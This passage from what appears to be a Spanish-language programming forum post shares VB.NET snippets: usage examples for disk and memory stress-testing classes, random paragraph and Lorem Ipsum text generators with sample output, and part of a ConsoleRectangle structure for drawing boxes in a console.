Using diskStress As New DiskStress()
Console.WriteLine("Allocating disk I/O read and write operations...")
diskStress.Allocate(fileSize:=1048576) 1 MB
Thread.Sleep(TimeSpan.FromSeconds(10))
Console.WriteLine("Stopping disk I/O read and write operations...")
diskStress.Deallocate()
Console.WriteLine()
Console.WriteLine("Instance disk I/O read operations count: {0} (total of files read)", diskStress.InstanceReadCount)
Console.WriteLine("Process disk I/O read operations count: {0}", diskStress.ProcessReadCount)
Console.WriteLine()
Console.WriteLine("Instance disk I/O read data (in bytes): {0} ({1:F2} GB)", diskStress.InstanceReadBytes, (diskStress.InstanceReadBytes / 1024.0F ^ 3))
Console.WriteLine("Process disk I/O read data (in bytes): {0} ({1:F2} GB)", diskStress.ProcessReadBytes, (diskStress.ProcessReadBytes / 1024.0F ^ 3))
Console.WriteLine()
Console.WriteLine("Instance disk I/O write operations count: {0} (total of files written)", diskStress.InstanceWriteCount)
Console.WriteLine("Process disk I/O write operations count: {0}", diskStress.ProcessWriteCount)
Console.WriteLine()
Console.WriteLine("Instance disk I/O written data (in bytes): {0} ({1:F2} GB)", diskStress.InstanceWriteBytes, (diskStress.InstanceWriteBytes / 1024.0F ^ 3))
Console.WriteLine("Process disk I/O written data (in bytes): {0} ({1:F2} GB)", diskStress.ProcessWriteBytes, (diskStress.ProcessWriteBytes / 1024.0F ^ 3))
End Using(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/DiskStress-Example.png)
Memory Stress
Using memStress As New MemoryStress()
Dim memorySize As Long = 1073741824 1 GB
Console.WriteLine("Allocating physical memory size...")
memStress.Allocate(memorySize)
Console.WriteLine("Instance Physical Memory Size (in bytes): {0} ({1:F2} GB)", memStress.InstancePhysicalMemorySize, (memStress.InstancePhysicalMemorySize / 1024.0F ^ 3))
Console.WriteLine("Process Physical Memory Size (in bytes): {0} ({1:F2} GB)", memStress.ProcessPhysicalMemorySize, (memStress.ProcessPhysicalMemorySize / 1024.0F ^ 3))
Console.WriteLine()
Console.WriteLine("Deallocating physical memory size...")
memStress.Deallocate()
Console.WriteLine("Instance Physical Memory Size (in bytes): {0}", memStress.InstancePhysicalMemorySize)
Console.WriteLine("Process Physical Memory Size (in bytes): {0} ({1:F2} MB)", memStress.ProcessPhysicalMemorySize, (memStress.ProcessPhysicalMemorySize / 1024.0F ^ 2))
End Using(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/MemoryStress-Example.png)
Generador aleatorio de párrafosPrivate Shared rng As New Random(Seed:=Environment.TickCount)''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Generates a random paragraph using the specified set of words.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="words">
''' The words that will be used to build paragraphs.
''' </param>
'''
''' <param name="numberOfParagraphs">
''' The number of paragraphs to generate.
''' </param>
'''
''' <param name="htmlFormatting">
''' Specifies whether or not to format paragraphs for HTML.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting paragraph(s).
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function RandomParagraphGenerator(ByVal words As String(),
ByVal numberOfParagraphs As Integer,
ByVal htmlFormatting As Boolean) As String
Dim sb As New StringBuilder()
Dim nextWord As String
Dim nextWordIndex As Integer
Dim lastWordIndex As Integer
For paragraphIndex As Integer = 0 To (numberOfParagraphs - 1)
Dim phraseLen As Integer = rng.Next(2, 10)
For phraseIndex As Integer = 0 To (phraseLen - 1)
If (phraseIndex = 0) AndAlso (htmlFormatting) Then
sb.Append("<p>")
End If
Dim wordLen As Integer = rng.Next(3, 15)
Dim addComma As Boolean = (rng.NextDouble() < 50 / 100.0) ' 50% probability to add a comma in a phrase.
Dim commaAmount As Integer = rng.Next(1, (wordLen - 1) \ 2)
Dim commaIndices As New HashSet(Of Integer)
For i As Integer = 0 To (commaAmount - 1)
commaIndices.Add(rng.Next(1, (wordLen - 1)))
Next i
For wordIndex As Integer = 0 To (wordLen - 1)
Do Until (nextWordIndex <> lastWordIndex)
nextWordIndex = rng.Next(0, words.Length)
Loop
lastWordIndex = nextWordIndex
nextWord = words(nextWordIndex)
If (wordIndex = 0) Then
sb.Append(Char.ToUpper(nextWord(0)) & nextWord.Substring(1))
Continue For
End If
sb.Append(" " & words(rng.Next(0, words.Length)))
If (commaIndices.Contains(wordIndex)) AndAlso (addComma) Then
sb.Append(","c)
End If
If (wordIndex = (wordLen - 1)) Then
If (phraseIndex <> (phraseLen - 1)) Then
sb.Append(". ")
Else
sb.Append(".")
End If
End If
Next wordIndex
Next phraseIndex
If (htmlFormatting) Then
sb.Append("</p>")
End If
sb.AppendLine(Environment.NewLine)
Next paragraphIndex
Return sb.ToString()
End Function
Modo de empleo:
Dim words As String() = {
"a", "ability", "able", "about", "above", "accept", "according", "account", "across",
"act", "action", "activity", "actually", "add", "address", "administration", "admit",
"adult", "affect", "after", "again", "against", "age", "agency", "agent", "ago", "agree",
"agreement", "ahead", "air", "all", "allow", "almost", "alone", "along", "already", "also",
"although", "always", "American", "among", "amount", "analysis", "and", "animal", "another",
"answer", "any", "anyone", "anything", "appear", "apply", "approach", "area", "argue", "arm",
"around", "arrive", "art", "article", "artist", "as", "ask", "assume", "at", "attack", "attention",
"attorney", "audience", "author", "authority", "available", "avoid", "away", "baby", "back",
"bed", "before", "begin", "behavior", "behind", "believe", "benefit", "best", "better", "between",
"both", "box", "boy", "break", "bring", "brother", "budget", "build", "building", "business", "but",
"buy", "by", "call", "camera", "campaign", "can", "cancer", "candidate", "capital", "car", "card",
"care", "career", "carry", "case", "catch", "cause", "cell", "center", "central", "century", "certain",
"choice", "choose", "church", "citizen", "city", "civil", "claim", "class", "clear", "clearly",
"close", "coach", "cold", "collection", "college", "color", "come", "commercial", "common", "community",
"consumer", "contain", "continue", "control", "cost", "could", "country", "couple", "course", "court",
"cover", "create", "crime", "cultural", "culture", "cup", "current", "customer", "cut", "dark",
"data", "daughter", "day", "dead", "deal", "death", "debate", "decade", "decide", "decision", "deep",
"defense", "degree", "Democrat", "democratic", "describe", "design", "despite", "detail",
"direction", "director", "discover", "discuss", "discussion", "disease", "do", "doctor", "dog",
"door", "down", "draw", "dream", "drive", "drop", "drug", "during", "each", "early", "east", "easy",
"eat", "economic", "economy", "edge", "education", "effect", "effort", "eight", "either", "election",
"environmental", "especially", "establish", "even", "evening", "event", "ever", "every", "everybody",
"everyone", "everything", "evidence", "exactly", "example", "executive", "exist", "expect",
"experience", "expert", "explain", "eye", "face", "fact", "factor", "fail", "fall", "family",
"fill", "film", "final", "finally", "financial", "find", "fine", "finger", "finish", "fire",
"firm", "first", "fish", "five", "floor", "fly", "focus", "follow", "food", "foot", "for",
"force", "foreign", "forget", "form", "former", "forward", "four", "free", "friend", "from",
"front", "full", "fund", "future", "game", "garden", "gas", "general", "generation", "get",
"girl", "give", "glass", "go", "goal", "good", "government", "great", "green", "ground",
"group", "grow", "growth", "guess", "gun", "guy", "hair", "half", "hand", "hang", "happen",
"happy", "hard", "have", "he", "head", "health", "hear", "heart", "heat", "heavy", "help",
"her", "here", "herself", "high", "him", "himself", "his", "history", "hit", "hold", "home",
"hope", "hospital", "hot", "hotel", "hour", "house", "how", "however", "huge", "human", "hundred",
"husband", "I", "idea", "identify", "if", "image", "imagine", "impact", "important", "improve",
"in", "include", "including", "increase", "indeed", "indicate", "individual", "industry",
"information", "inside", "instead", "institution", "interest", "interesting", "international",
"interview", "into", "investment", "involve", "issue", "it", "item", "its", "itself", "job",
"join", "just", "keep", "key", "kid", "kill", "kind", "kitchen", "know", "knowledge", "land",
"language", "large", "last", "late", "later", "laugh", "law", "lawyer", "lay", "lead", "leader",
"learn", "least", "leave", "left", "leg", "legal", "less", "let", "letter", "level", "lie", "life",
"light", "like", "likely", "line", "list", "listen", "little", "live", "local", "long", "look",
"lose", "loss", "lot", "love", "low", "machine", "magazine", "main", "maintain", "major", "majority",
"make", "man", "manage", "management", "manager", "many", "market", "marriage", "material", "matter",
"may", "maybe", "me", "mean", "measure", "media", "medical", "meet", "meeting", "member",
"memory", "mention", "message", "method", "middle", "might", "military", "million", "mind",
"minute", "miss", "mission", "model", "modern", "moment", "money", "month", "more", "morning",
"most", "mother", "mouth", "move", "movement", "movie", "Mr", "Mrs", "much", "music", "must",
"my", "myself", "name", "nation", "national", "natural", "nature", "near", "nearly", "necessary",
"need", "network", "never", "new", "news", "newspaper", "next", "nice", "night", "no", "none", "nor",
"north", "not", "note", "nothing", "notice", "now", "number", "occur", "of", "off", "offer",
"office", "officer", "official", "often", "oh", "oil", "ok", "old", "on", "once", "one", "only",
"onto", "open", "operation", "opportunity", "option", "or", "order", "organization", "other",
"others", "our", "out", "outside", "over", "own", "owner", "page", "pain", "painting", "paper",
"parent", "part", "participant", "particular", "particularly", "partner", "party", "pass",
"past", "patient", "pattern", "pay", "peace", "people", "per", "perform", "performance",
"perhaps", "period", "person", "personal", "phone", "physical", "pick", "picture",
"piece", "place", "plan", "plant", "play", "player", "PM", "point", "police", "policy",
"political", "politics", "poor", "popular", "population", "position", "positive",
"possible", "power", "practice", "prepare", "present", "president", "pressure",
"pretty", "prevent", "price", "private", "probably", "problem", "process", "produce",
"product", "production", "professional", "professor", "program", "project", "property", "protect",
"prove", "provide", "public", "pull", "purpose", "push", "put", "quality", "question", "quickly",
"quite", "race", "radio", "raise", "range", "rate", "rather", "reach", "read", "ready", "real",
"reality", "realize", "really", "reason", "receive", "recent", "recently", "recognize", "record",
"red", "reduce", "reflect", "region", "relate", "relationship", "religious", "remain", "remember",
"remove", "report", "represent", "Republican", "require", "research", "resource", "respond", "response",
"responsibility", "rest", "result", "return", "reveal", "rich", "right", "rise", "risk", "road",
"rock", "role", "room", "rule", "run", "safe", "same", "save", "say", "scene", "school", "science",
"scientist", "score", "sea", "season", "seat", "second", "section", "security", "see", "seek",
"seem", "sell", "send", "senior", "sense", "series", "serious", "serve", "service", "set", "seven",
"show", "side", "sign", "significant", "similar", "simple", "simply", "since", "sing", "single",
"sister", "sit", "site", "situation", "six", "size", "skill", "skin", "small", "smile", "so",
"social", "society", "soldier", "some", "somebody", "someone", "something", "sometimes", "son",
"specific", "speech", "spend", "sport", "spring", "staff", "stage", "stand", "standard", "star",
"start", "state", "statement", "station", "stay", "step", "still", "stock", "stop", "store",
"story", "strategy", "street", "strong", "structure", "student", "study", "stuff", "style",
"subject", "success", "successful", "such", "suddenly", "suffer", "suggest", "summer", "support",
"sure", "surface", "system", "table", "take", "talk", "task", "tax", "teach", "teacher", "team",
"technology", "television", "tell", "ten", "tend", "term", "test", "than", "thank", "that", "the",
"their", "them", "themselves", "then", "theory", "there", "these", "they", "thing", "think",
"third", "this", "those", "though", "thought", "thousand", "threat", "three", "through", "throughout",
"throw", "thus", "time", "to", "today", "together", "tonight", "too", "top", "total", "tough",
"toward", "town", "trade", "traditional", "training", "travel", "treat", "treatment", "tree",
"trial", "trip", "trouble", "true", "truth", "try", "turn", "TV", "two", "type", "under", "understand",
"unit", "until", "up", "upon", "us", "use", "usually", "value", "various", "very", "victim",
"view", "violence", "visit", "voice", "vote", "wait", "walk", "wall", "want", "war", "watch", "water",
"way", "we", "weapon", "wear", "week", "weight", "well", "west", "western", "what", "whatever",
"when", "where", "whether", "which", "while", "white", "who", "whole", "whom", "whose", "why",
"wide", "wife", "will", "win", "wind", "window", "wish", "with", "within", "without", "woman",
"wonder", "word", "work", "worker", "world", "worry", "would", "write", "writer", "wrong", "yard",
"yeah", "year", "yes", "yet", "you", "young", "your", "yourself"}
Dim paragraphs As String = RandomParagraphGenerator(words, numberOfParagraphs:=4, htmlFormatting:=False)
Console.WriteLine(paragraphs)CitarFinish at, raise, movie exist page, including there, yard ground why, information everyone. Life full those finger instead simple central those scientist. Force road of pick your student social. Prevent plan heart site. Anyone door, explain control.
Process interest we high human occur agree page put. Left education according thus, structure fine second professor rather relationship guess instead maybe radio. Second process reason on, create west. Forget victim wrong may themselves out where occur sometimes. Wide candidate, newspaper, if purpose at assume draw month, American physical create. Sea sign describe white though want minute type to medical. Explain girl their most upon.
Suddenly drug writer follow must. Right choose, option one capital risk. Administration forget practice anything. Notice people take movie, dark, yes only. Inside either recent movement during particular wear husband particularly those legal. Suffer drug establish work. Guess two have garden value property realize dog people friend, hospital that.
Person movie north wrong thing group. Write exist church daughter up, why appear ahead growth, wife news protect. Save smile, impact improve direction trouble tax, scene, north nation, maybe hang face history. Cause lawyer true worker season, more.
Generador aleatorio de texto 'Lorem Ipsum'( ESTA FUNCIÓN SIMPLEMENTA HACE UNA LLAMADA AL GENERADOR DE PÁRRAFOS QUE HE PUBLICADO ARRIBA. )
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Generates a random 'Lorem Ipsum' paragraph.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <remarks>
''' Wikipedia article: <see href="https://en.wikipedia.org/wiki/Lorem_ipsum"/>
''' </remarks>
''' ----------------------------------------------------------------------------------------------------
''' <param name="numberOfParagraphs">
''' The number of paragraphs to generate.
''' </param>
'''
''' <param name="htmlFormatting">
''' Specifies whether or not to format paragraphs for HTML.
''' </param>
''' ----------------------------------------------------------------------------------------------------
''' <returns>
''' The resulting 'Lorem Ipsum' paragraph(s).
''' </returns>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Shared Function GenerateLoremIpsumText(ByVal numberOfParagraphs As Integer,
ByVal htmlFormatting As Boolean) As String
Dim words As String() = {
"abhorreant", "accommodare", "accumsan", "accusam", "accusamus", "accusata", "ad",
"adhuc", "adipisci", "adipiscing", "admodum", "adolescens", "adversarium", "aeque",
"aeterno", "affert", "agam", "albucius", "alia", "alienum", "alii", "aliquam",
"aliquando", "aliquid", "aliquip", "alterum", "amet", "an", "ancillae", "animal",
"antiopam", "apeirian", "aperiam", "aperiri", "appareat", "appellantur", "appetere",
"argumentum", "assentior", "assueverit", "assum", "at", "atomorum", "atqui", "audiam",
"audire", "augue", "autem", "blandit", "bonorum", "brute", "case", "causae", "cetero",
"ceteros", "choro", "cibo", "civibus", "clita", "commodo", "commune", "complectitur",
"comprehensam", "conceptam", "concludaturque", "conclusionemque", "congue", "consectetuer",
"consequat", "consequuntur", "consetetur", "constituam", "constituto", "consul", "consulatu",
"contentiones", "convenire", "copiosae", "corpora", "corrumpit", "cotidieque", "cu", "cum",
"debet", "debitis", "decore", "definiebas", "definitionem", "definitiones", "delectus",
"delenit", "deleniti", "delicata", "delicatissimi", "democritum", "denique", "deseruisse",
"deserunt", "deterruisset", "detracto", "detraxit", "diam", "dicam", "dicant", "dicat",
"diceret", "dicit", "dico", "dicta", "dictas", "dicunt", "dignissim", "discere", "disputando",
"disputationi", "dissentias", "dissentiet", "dissentiunt", "docendi", "doctus", "dolor",
"dolore", "dolorem", "dolores", "dolorum", "doming", "duis", "duo", "ea", "eam", "efficiantur",
"efficiendi", "ei", "eirmod", "eius", "elaboraret", "electram", "eleifend", "eligendi", "elit",
"elitr", "eloquentiam", "enim", "eos", "epicurei", "epicuri", "equidem", "erant", "erat",
"eripuit", "eros", "errem", "error", "erroribus", "eruditi", "esse", "essent", "est", "et",
"etiam", "eu", "euismod", "eum", "euripidis", "everti", "evertitur", "ex", "exerci", "expetenda",
"expetendis", "explicari", "fabellas", "fabulas", "facer", "facete", "facilis", "facilisi",
"facilisis", "falli", "fastidii", "ferri", "feugait", "feugiat", "fierent", "forensibus",
"fugit", "fuisset", "gloriatur", "graece", "graeci", "graecis", "graeco", "gubergren", "habemus",
"habeo", "harum", "has", "hendrerit", "hinc", "his", "homero", "honestatis", "id", "idque",
"ignota", "iisque", "illud", "illum", "impedit", "imperdiet", "impetus", "in", "inani", "inciderint",
"incorrupte", "indoctum", "inermis", "inimicus", "insolens", "instructior", "integre", "intellegam",
"intellegat", "intellegebat", "interesset", "interpretaris", "invenire", "invidunt", "ipsum",
"iracundia", "iriure", "iudicabit", "iudico", "ius", "iusto", "iuvaret", "justo", "labitur",
"laboramus", "labore", "labores", "laoreet", "latine", "laudem", "legendos", "legere", "legimus",
"liber", "liberavisse", "libris", "lobortis", "lorem", "lucilius", "ludus", "luptatum", "magna",
"maiestatis", "maiorum", "malis", "malorum", "maluisset", "mandamus", "mazim", "mea", "mediocrem",
"mediocritatem", "mei", "meis", "mel", "meliore", "melius", "menandri", "mentitum", "minim",
"minimum", "mnesarchum", "moderatius", "modo", "modus", "molestiae", "molestie", "mollis", "movet",
"mucius", "mundi", "munere", "mutat", "nam", "natum", "ne", "nec", "necessitatibus", "neglegentur",
"nemore", "nibh", "nihil", "nisl", "no", "nobis", "noluisse", "nominati", "nominavi", "nonumes",
"nonumy", "noster", "nostro", "nostrud", "nostrum", "novum", "nulla", "nullam", "numquam", "nusquam",
"oblique", "ocurreret", "odio", "offendit", "officiis", "omittam", "omittantur", "omnes", "omnesque",
"omnis", "omnium", "oporteat", "oportere", "option", "oratio", "ornatus", "partem", "partiendo",
"patrioque", "paulo", "per", "percipit", "percipitur", "perfecto", "pericula", "periculis", "perpetua",
"persecuti", "persequeris", "persius", "pertinacia", "pertinax", "petentium", "phaedrum", "philosophia",
"placerat", "platonem", "ponderum", "populo", "porro", "posidonium", "posse", "possim", "possit",
"postea", "postulant", "praesent", "pri", "prima", "primis", "principes", "pro", "probatus", "probo",
"prodesset", "prompta", "propriae", "purto", "putant", "putent", "quaeque", "quaerendum", "quaestio",
"qualisque", "quando", "quas", "quem", "qui", "quidam", "quis", "quo", "quod", "quodsi", "quot",
"rationibus", "rebum", "recteque", "recusabo", "referrentur", "reformidans", "regione", "reprehendunt",
"reprimique", "repudiandae", "repudiare", "reque", "ridens", "sadipscing", "saepe", "sale", "salutandi",
"salutatus", "sanctus", "saperet", "sapientem", "scaevola", "scribentur", "scripserit", "scripta",
"scriptorem", "sea", "sed", "semper", "senserit", "sensibus", "sententiae", "signiferumque", "similique",
"simul", "singulis", "sint", "sit", "soleat", "solet", "solum", "soluta", "sonet", "splendide", "stet",
"suas", "suavitate", "summo", "sumo", "suscipiantur", "suscipit", "tacimates", "tale", "tamquam", "tantas",
"tation", "te", "tempor", "temporibus", "theophrastus", "tibique", "timeam", "tincidunt", "tollit",
"torquatos", "tota", "tractatos", "tritani", "ubique", "ullamcorper", "ullum", "unum", "urbanitas", "usu",
"ut", "utamur", "utinam", "utroque", "vel", "velit", "veniam", "verear", "veri", "veritus", "vero",
"verterem", "vide", "viderer", "vidisse", "vidit", "vim", "viris", "virtute", "vis", "vitae", "vituperata",
"vituperatoribus", "vivendo", "vivendum", "vix", "vocent", "vocibus", "volumus", "voluptaria",
"voluptatibus", "voluptatum", "voluptua", "volutpat", "vulputate", "wisi", "zril"}
Dim str As String = RandomParagraphGenerator(words, numberOfParagraphs, htmlFormatting)
If (htmlFormatting) Then
Return str.Insert(3, "Lorem ipsum dolor sit amet. ")
Else
Return str.Insert(0, "Lorem ipsum dolor sit amet. ")
End If
End FunctionModo de empleo:
Dim loremIpsum As String = GenerateLoremIpsumText(numberOfParagraphs:=4, htmlFormatting:=True)
Console.WriteLine(loremIpsum)Citar<p>Lorem ipsum dolor sit amet. Placerat vulputate tollit cum vivendo adipiscing nemore duo salutandi mollis. Fabellas malis, eros solet rationibus. Assum suas inermis, at veri prompta modo scaevola, ad. Percipitur ceteros semper vituperata feugait disputationi cotidieque soluta. Efficiendi facilisi zril percipit putant quando id quas nobis civibus natum. Pertinax maluisset vidisse oratio autem eripuit repudiandae ea suas eros illum oratio aliquid. Fabulas porro, integre oportere.</p>
<p>Virtute mediocritatem, vim erant nisl. Legendos postea saperet postea putent nihil facilisi nominati omnis. Facilisis persequeris scaevola alterum probatus vulputate denique pericula ullamcorper eloquentiam oporteat purto mediocritatem.</p>
<p>Veniam petentium delectus delicatissimi malis voluptua mentitum dissentias interpretaris verear quis utamur albucius verear. Quo reformidans, definitiones facilis. Conclusionemque quaestio voluptaria populo delicata sit viris mediocrem vulputate voluptatum eloquentiam. Quas an, bonorum cibo audiam commune volutpat. Vis ullamcorper scriptorem omnis facilisis sententiae hendrerit. Oporteat atomorum prompta suavitate idque accommodare ius oblique graece graecis interpretaris nemore. Meliore albucius commune qui suscipit definitiones vidit docendi facilisi forensibus quis. Equidem dolore expetendis iudico, delectus viderer timeam. Mediocrem molestie timeam, recteque, maluisset evertitur delicata.</p>
<p>Similique neglegentur temporibus alienum ad legimus scriptorem bonorum et appetere vide molestie. Mentitum feugait voluptatum illum detracto, tamquam vel ponderum mei illud, omnis paulo, ignota. Malorum lorem consul molestie interpretaris aperiri vituperatoribus, soluta enim vituperatoribus.</p>
ConsoleRectangleEsto es el equivalente a la clase
System.Drawing.Rectangle, para representar la posición y tamaño de un rectángulo (dibujable) en el búfer de salida de una consola.
(https://i.imgur.com/f0r5z6K.png)
(https://i.imgur.com/aMxfrw8.png)
Decisiones (o limitaciones) de diseño:
Las propiedades son de solo lectura (para quitarme de lios). Es decir, para hacer cambios en el tamaño o posición del rectángulo, hay que crear una nueva instancia. - ya no lo son- No permite la asignación de coordenadas negativas (puesto que tampoco lo permite el método Console.SetCursorPos()), ni un tamaño (anchura ni altura) igual a cero, aunque esto último no se tiene en cuenta si se usa el constructor por defecto.
EDITO: implementación extendida.
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Stores a set of four integers that represent the location and size of a (printable) rectangle on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
<ComVisible(True)>
<Serializable>
Public Structure ConsoleRectangle
#Region " Properties "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the location of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The location of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public Property Location As Point
Get
Return Me.location_
End Get
Set(value As Point)
Me.UpdateLocation(value)
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field of <see cref="ConsoleRectangle.Location"/> property. )
''' <para></para>
''' The location of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private location_ As Point
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the x-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The x-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public ReadOnly Property X As Integer
Get
Return Me.Location.X
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the y-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The y-coordinate of the upper-left corner of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public ReadOnly Property Y As Integer
Get
Return Me.Location.Y
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the y-coordinate of the top edge of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The y-coordinate of the top edge of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public ReadOnly Property Top As Integer
Get
Return Me.Y
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the x-coordinate of the left edge of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The x-coordinate of the left edge of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public ReadOnly Property Left As Integer
Get
Return Me.X
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the y-coordinate that is the sum of the <see cref="ConsoleRectangle.Y"/>
''' and <see cref="ConsoleRectangle.Height"/> property values of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The y-coordinate that is the sum of the <see cref="ConsoleRectangle.Y"/>
''' and <see cref="ConsoleRectangle.Height"/> property values of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public ReadOnly Property Bottom As Integer
Get
Return (Me.Y + Me.Height)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the x-coordinate that is the sum of <see cref="ConsoleRectangle.X"/>
''' and <see cref="ConsoleRectangle.Width"/> property values of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The x-coordinate that is the sum of <see cref="ConsoleRectangle.X"/>
''' and <see cref="ConsoleRectangle.Width"/> property values of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public ReadOnly Property Right As Integer
Get
Return (Me.X + Me.Width)
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the size of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The size of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public Property Size As Size
Get
Return Me.size_
End Get
Set(value As Size)
Me.UpdateSize(value)
End Set
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' ( Backing field of <see cref="ConsoleRectangle.Size"/> property. )
''' <para></para>
''' The size of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
Private size_ As Size
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the width of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The width of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public ReadOnly Property Width As Integer
Get
Return Me.Size.Width
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets the height of this <see cref="ConsoleRectangle"/>.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The height of this <see cref="ConsoleRectangle"/>.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public ReadOnly Property Height As Integer
Get
Return Me.Size.Height
End Get
End Property
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public Property CharLeft As Char
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The character to print the top border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public Property CharTop As Char
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The character to print the right border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public Property CharRight As Char
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Gets or sets the character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' The character to print the bottom border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(True)>
Public Property CharBottom As Char
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Tests whether all numeric properties of this System.Drawing.Rectangle have values of zero.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <value>
''' This property returns <see langword="True"/> if the
''' <see cref="ConsoleRectangle.Width"/>, <see cref="ConsoleRectangle.Height"/>,
''' <see cref="ConsoleRectangle.X"/>, and <see cref="ConsoleRectangle.Y"/> properties
''' of this <see cref="ConsoleRectangle"/> all have values of zero;
''' otherwise, <see langword="False"/>
''' </value>
''' ----------------------------------------------------------------------------------------------------
<Browsable(False)>
Public ReadOnly Property IsEmpty As Boolean
Get
Return (Me.Location = Point.Empty) AndAlso (Me.Size = Size.Empty)
End Get
End Property
#End Region
#Region " Constructors "
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' A <see cref="Rectangle"/> that contains the location and size for this <see cref="ConsoleRectangle"/>.
''' </param>
''' ----------------------------------------------------------------------------------------------------
<DebuggerStepThrough>
Public Sub New(ByVal rect As Rectangle)
Me.New(rect.Location, rect.Size, "▌"c, "▀"c, "▐"c, "▄"c)
End Sub
''' ----------------------------------------------------------------------------------------------------
''' <summary>
''' Initializes a new instance of the <see cref="ConsoleRectangle"/> structure.
''' </summary>
''' ----------------------------------------------------------------------------------------------------
''' <param name="rect">
''' A <see cref="Rectangle"/> that contains the location and size for this <see cref="ConsoleRectangle"/>.
''' </param>
'''
''' <param name="charLeft">
''' The character to print the left border of this <see cref="ConsoleRectangle"/> on a console output buffer.
''' </param>
'''
''' <param name="charTop">
